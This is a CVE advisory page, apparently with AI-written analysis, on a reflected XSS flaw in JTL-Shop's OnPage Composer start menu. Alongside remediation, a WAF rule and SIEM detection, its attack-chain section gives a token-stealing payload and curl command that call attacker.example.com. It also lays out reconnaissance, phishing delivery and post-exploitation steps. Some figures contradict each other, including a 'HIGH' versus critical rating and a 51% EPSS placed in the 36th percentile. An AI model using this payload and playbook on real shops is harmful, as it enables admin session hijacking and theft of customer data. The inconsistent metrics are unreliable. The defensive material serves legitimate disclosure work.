CVE Professor
/
All CVEs
CVE-2026-133939

CVE-2026-133939 — CWE-79

HIGH CVSS 9.3 ⚡ EPSS 51.0% EUVD

The OPC (OnPage Composer) start menu, which JTL-Shop shows to logged-in backend users on storefront pages, writes the current page identifier (which contains the search term on search pages) and further values into single-quoted JavaScript strings without escaping. A single quote in the search term terminates the string. An unauthenticated remote attacker can thereby cause script code to be executed in the browser of a backend user who opens a crafted link while logged in to the backend in the same browser; the code runs with the privileges of that user and can use the backend session token contained in the same script to send requests to the backend. Visitors and customers do not receive the start menu and are not affected.

The OPC (OnPage Composer) start menu, which JTL-Shop shows to logged-in backend users on storefront pages, writes the current page identifier (which contains the search term on search pages) and further values into single-quoted JavaScript strings without escaping. A single quote in the search term terminates the string. An unauthenticated remote attacker can thereby cause script code to be executed in the browser of a backend user who opens a crafted link while logged in to the backend in the same browser; the code runs with the privileges of that user and can use the backend session token contained in the same script to send requests to the backend. Visitors and customers do not receive the start menu and are not affected.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction Passive UI:P
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. None VA:N
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
EPSS — Exploit Prediction Scoring System
51.0%
30-day probability
In the 36. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability type – Reflected Cross‑Site Scripting (XSS) in the OnPage Composer (OPC) start‑menu component of JTL‑Shop.
CWE – CWE‑79 (Improper Neutralization of Input During Web Page Generation).

Root cause –
When a backend user (i.e. an administrator or shop manager) is logged‑in to the JTL‑Shop back‑office, the OPC start‑menu is rendered on every storefront page. The menu is built by a server‑side template that injects several values into a single‑quoted JavaScript string:

<script>
    var startMenu = {
        pageId: '{{CURRENT_PAGE_ID}}',
        token:  '{{BACKEND_SESSION_TOKEN}}',
        // …
    };
</script>

The template does not escape the value of {{CURRENT_PAGE_ID}}. On a search results page the page identifier contains the user‑supplied search term (e.g. search?q=foo). If the search term includes a single‑quote ('), the generated JavaScript string is terminated early, and the remainder of the attacker‑controlled payload is interpreted as executable code.

Because the menu is only shown to authenticated backend users, the attacker does not need to be logged in; they only need to convince a logged‑in admin to open a crafted URL. The XSS is reflected (the payload is reflected back in the response) and DOM‑independent – the malicious script runs as soon as the page is parsed, before any user interaction.

Missing protection

Missing stepWhy it matters
Proper output encoding for JavaScript string literals (e.g. json_encode with JSON_HEX_APOS or a dedicated JS‑string escaper)Prevents injection of characters that terminate the literal.
Content‑Security‑Policy (CSP) that disallows inline script execution (script-src 'self')Would mitigate the impact even if injection occurs.
SameSite/HttpOnly flags on the backend session cookie (although JTL‑Shop already uses them, the XSS still gives the attacker direct access to the token in the page source).Reduces risk of cookie theft via other vectors, but does not stop this XSS.

The CVSS vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N) confirms:

  • Network‑only attacker (no authentication required).
  • Low attack complexity – a single crafted URL.
  • User interaction required – the victim must click/open the link while logged‑in.
  • High confidentiality & integrity impact – the attacker can read the backend session token and perform arbitrary actions on behalf of the admin.
  • No availability impact – the flaw does not cause denial‑of‑service.

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All code snippets are illustrative – the exact endpoint name (/search) and parameter (q) are inferred from the description (“search term on search pages”) and may differ in a concrete installation.

    1. Discovery & Reconnaissance

    ActivityHow it is performed
    Identify target softwareSearch public sites, job postings, or “Powered‑by JTL‑Shop” footers. Use Shodan/ZoomEye to locate IPs that expose a JTL‑Shop storefront.
    Determine versionGrab /admin/login page, inspect HTML comments, or request /admin/version.php (if publicly accessible). Many shops expose the version in a meta tag: <meta name="generator" content="JTL-Shop 5.2.3">.
    Verify presence of OPC start‑menuLog in to the backend (or ask a collaborator with a test account) and open any storefront page (e.g., /search?q=test). View page source; the start‑menu script block will be present and contain pageId: and token: fields.
    Test for XSSAppend a single‑quote to the search term and observe the rendered source. Example: https://shop.example.com/search?q=test'. If the response contains an unescaped ' inside the JavaScript string, the site is vulnerable.

    2. Exploitation

    Goal: Execute arbitrary JavaScript in the context of an authenticated backend user and steal the backend session token.

    Payload construction – The attacker wants to break out of the single‑quoted string and inject a script that sends the token to a remote server.

    https://shop.example.com/search?q=';fetch('https://attacker.example.com/steal?token='+document.querySelector('script').innerHTML)%3b//

    Explanation of the payload

    PartWhat it does
    'Closes the original ' that started the pageId value.
    ;Terminates the now‑broken JavaScript statement.
    fetch('https://attacker.example.com/steal?token='+document.querySelector('script').innerHTML)Sends the entire page source (which includes the token: field) to the attacker’s server.
    %3b//URL‑encoded semicolon (;) to end the injected statement cleanly and comment‑out the rest of the original script.

    Full illustrative request (curl)

    curl -G "https://shop.example.com/search" \
         --data-urlencode "q=';fetch('https://attacker.example.com/steal?token='+document.querySelector('script').innerHTML)%3b//"

    Note: The exact query‑parameter name (q) and endpoint (/search) are illustrative; any parameter that ends up in the page identifier is exploitable.

    Delivery to the victim

  • Phishing email containing the malicious link.
  • Social‑engineering via a trusted forum or comment that auto‑converts URLs to clickable links.
  • Inject the link into a third‑party site that the admin is known to visit (e.g., a partner portal).
  • When the logged‑in admin clicks the link, the browser parses the response, executes the injected fetch() call, and the attacker receives the backend session token (JTL-Backend-Token or similar) in the query string.

    3. Post‑exploitation

    1. Session hijacking – The attacker now possesses a valid backend session token. By replaying the token in a new browser session (e.g., setting the Cookie: JTL-Backend-Token=... header), the attacker gains full admin privileges.
    2. CSRF‑style actions – Even without replaying the cookie, the attacker can use the stolen token to craft authenticated AJAX requests directly from the victim’s browser (the fetch call can be extended to perform destructive actions, such as creating a new admin user, exporting the customer database, or installing a malicious plugin).
    3. Persistence – The attacker can create a new backend user with a known password, install a back‑door plugin, or modify the shop’s template files to embed a permanent XSS vector.
    4. Data exfiltration – With admin rights, the attacker can download order data, customer personal data, or financial reports, violating GDPR/PCI‑DSS obligations.


    🌍 Real‑World Impact

    CIA TriadImpact derived from CVSS vector
    Confidentiality (C)High – The attacker can read the backend session token and, via that token, any data the admin can access (customer PII, order history, payment details).
    Integrity (I)High – The attacker can issue arbitrary backend requests, modify product catalogs, change prices, create fraudulent orders, or add malicious code to the storefront.
    Availability (A)None – The flaw does not cause service disruption.

    Practical consequences

  • Business disruption – Unauthorized price changes or product deletions can cause revenue loss and brand damage.
  • Regulatory breach – Exposure of personal data may trigger GDPR fines.
  • Supply‑chain risk – If the shop is part of a larger marketplace, compromised credentials can be used to affect downstream merchants.
  • Reputation – Public disclosure of a successful admin‑session hijack can erode customer trust.

  • 🛡️ Remediation & Mitigation

    1. Vendor‑provided fix

  • Patch – The vendor released a security update that properly escapes the page identifier before embedding it in JavaScript (e.g., json_encode($pageId, JSON_HEX_APOS | JSON_HEX_QUOT)).
  • Affected versions – All JTL‑Shop releases that include the OPC start‑menu component prior to the patch released after 27 Nov 2026 are vulnerable. The exact version numbers have not been publicly disclosed; administrators should apply the latest stable release (or the specific security‑only release announced by JTL‑Shop).
  • 2. Immediate work‑arounds (if patch cannot be applied instantly)

    Work‑aroundHow to implement
    Disable the OPC start‑menu for backend usersIn the JTL‑Shop admin panel, navigate to *Settings → Extensions → OnPage Composer* and set “Show start‑menu in storefront” to Off.
    Restrict access to the storefront for logged‑in backend sessionsAdd a rule to the web server that blocks requests containing a backend session cookie (JTL-Backend-Token) from reaching the public storefront. Example (Apache mod_rewrite):<br>RewriteCond %{HTTP_COOKIE} JTL-Backend-Token=.+<br>RewriteRule ^/ - [F]
    Content‑Security‑Policy (CSP)Deploy a CSP that disallows inline scripts: <br>Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; object-src 'none'; <br> This will cause the injected script to be blocked, though the token will still be visible in the page source.
    Sanitize the search term on the client side (defense‑in‑depth)Add a small JavaScript snippet that replaces single quotes in the URL before the page is rendered: <br>if (location.search.includes("'")) { location.search = location.search.replace(/'/g, "%27"); }

    3. WAF / ModSecurity rule (example)

    # ModSecurity rule to detect reflected single‑quote injection in the "q" parameter
    SecRule ARGS:q "@rx ['\"]" \
        "id:2026133939,\
         phase:2,\
         block,\
         t:none,\
         msg:'Potential reflected XSS via OPC start‑menu (CVE‑2026‑133939)',\
         logdata:'Matched Parameter %{MATCHED_VAR_NAME}=%{MATCHED_VAR}',\
         tag:'application-multi',\
         tag:'language-multi',\
         tag:'platform-multi',\
         tag:'attack-xss',\
         severity:'CRITICAL'"

    Adjust the parameter name (q) to match the actual search field used by the target installation.

    4. Detection – Log patterns & IoCs

    IndicatorExample log entry (Apache)
    Request containing a single‑quote in a search‑related query string while a backend session cookie is present192.0.2.45 - - [28/Nov/2026:10:12:34 +0000] "GET /search?q=%27%3Balert%281%29%3B HTTP/1.1" 200 45231 "https://shop.example.com/admin/dashboard" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/124.0"
    Referrer points to a backend page (/admin/*) but the request is for a public storefront URLSame as above, Referer: https://shop.example.com/admin/dashboard
    Unexpected outbound fetch/XMLHttpRequest from the victim’s browser to an attacker‑controlled domain (visible in a proxy or network IDS)GET https://attacker.example.com/steal?token=JTL-Backend-Token=abcd1234... HTTP/1.1

    SIEM rule (generic)

    SELECT *
    FROM web_access_logs
    WHERE uri_path LIKE '/search%'
      AND http_user_agent NOT LIKE '%bot%'
      AND http_cookie LIKE '%JTL-Backend-Token=%'
      AND (uri_query LIKE "%'%"
           OR uri_query LIKE "%\"%")

    Alert on any match – it indicates a possible XSS attempt targeting an authenticated admin.


    ⚠️ Urgency

  • CVSS 9.3 (Critical) – High confidentiality and integrity impact, low complexity, and no authentication required.
  • No CISA KEV listing – The vulnerability is not yet in the U.S. government’s “Known Exploited Vulnerabilities” catalog, but the public disclosure date (27 Nov 2026) means exploit code is likely to appear quickly.
  • Attack surface – Any shop that exposes the OPC start‑menu to logged‑in admins is vulnerable; the required user interaction (clicking a link) is trivial to achieve via phishing.
Patch priority: Critical – apply the vendor’s security update within 24 hours for all production environments. If patching cannot be performed immediately, implement the disable‑OPC or CSP mitigations and deploy a WAF rule to block the exploit vector while the patch is being tested.
Bottom line: This is a classic reflected XSS that gives an unauthenticated attacker full control over a privileged backend session. Immediate patching, combined with defense‑in‑depth (CSP, WAF, and disabling the vulnerable UI component), is essential to prevent session hijacking and subsequent compromise of the entire JTL‑Shop installation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
9.3 / 10 · CVSS HIGH
Weakness Types (CWE)
References & Advisories (1)
Related CVEs
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner
9.0
CVE-2026-145039
SiYuan before 3.8.11 contains a stored cross-site scripting vulnerability in the protyle asset picker's render
8.8
CVE-2026-145062
SiYuan 3.8.10 before 3.8.11 fails to escape custom block attribute names from imported .sy.zip files in openFi
8.3
CVE-2026-145038
SiYuan 3.8.8-alpha.4 before 3.8.11 contains a stored cross-site scripting vulnerability because the unused ass
7.5
CVE-2026-145078
SiYuan before 3.8.11 contains a stored cross-site scripting vulnerability because the transactions WebSocket p
7.1
CVE-2026-136044
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Nks Resp